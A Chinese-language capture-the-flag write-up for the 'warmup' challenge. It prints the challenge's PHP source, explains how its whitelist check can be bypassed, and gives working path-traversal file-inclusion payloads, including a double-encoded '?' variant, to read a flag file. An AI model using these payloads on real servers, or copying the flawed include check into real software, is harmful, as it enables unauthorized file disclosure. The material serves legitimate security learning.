1. 程式人生 > 實用技巧 >warmup

warmup

warmup

進去題目,是一張圖片,f12審計原始碼,找到提示source.php

訪問http://220.249.52.133:47207/source.php

得到原始碼

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
?>

看到原始碼裡有個白名單,裡有個hint.php,於是我們試著訪問http://220.249.52.133:47207/hint.php

返回的是

flag not here, and flag in ffffllllaaaagggg

說明flag是在ffffllllaaaagggg

審計程式碼


strpos($test,'9')//會返回9在$test這個字串所在的位置
substr('123456789',0,9) //會從位置0開始對字串擷取9個長度
substr($test,0,strpos($test,'9')) //就會對從位置0開始對$test字串擷取8個長度

我們只要滿足if的三個條件就可呼叫include函式來實現檔案包含漏洞,所以我們要想辦法使checkFile()函式返回Ture,構造?file=hint.php

或者?file=source.php就可以返回True,但是這時並沒有到達檔案包含的目的,實際上這裡可以構造?file=hint.php?[payload]就可以實現繞過來滿足True

構造

file=hint.php?../../../../../../../ffffllllaaaagggg

即可得到flag

這裡可能有點迷,為什麼這個payload可以實現檔案包含。

官方解釋


看的有點迷,本地做個試驗,這裡flag.txt檔案在根目錄下,當前目錄離根目錄三個../



可以看到不管payload前加不加/,都是3個../可以包含flag.txt檔案



按照官方的解釋,因為我們的引數是有/../../../../../這樣的路徑所以符合最後一段話如果定義了路徑,就會忽略/前的字串而去找/../../../../flag.txt檔案。

因為include會把第一個/後面的路徑作為訪問路徑來尋找檔案,所以當payload是12364../../../../../flag.txt時,以第一個/開始有4個../,而當payload是12364/../../../../flag.txt時,以第一個/開始也是4個../,這比前面沒加字串時,,多個1個../,原因不詳。。

而且按照普通的形式應該可以讀取絕對路徑,但是這裡加了字串只能讀取相對路徑,也是很迷。




我們通過實驗可以構造以下payload來利用第二個條件返回True

?file=hint.php?/../../../../ffffllllaaaagggg

?file=hint.php?../../../../../ffffllllaaaagggg

當然也可以利用第三個條件返回True

對?進行二次編碼

?file=hint.php%253F../../../../../ffffllllaaaagggg

同樣可以得到flag

當我們通過相對路徑來抵達根目錄時,../可以多加幾個,以確保絕對達到根目錄。

如,我們也可以構造payload

?file=hint.php?/../../../../../../../../ffffllllaaaagggg

這裡我們直接構造8個../來確保抵達根目錄。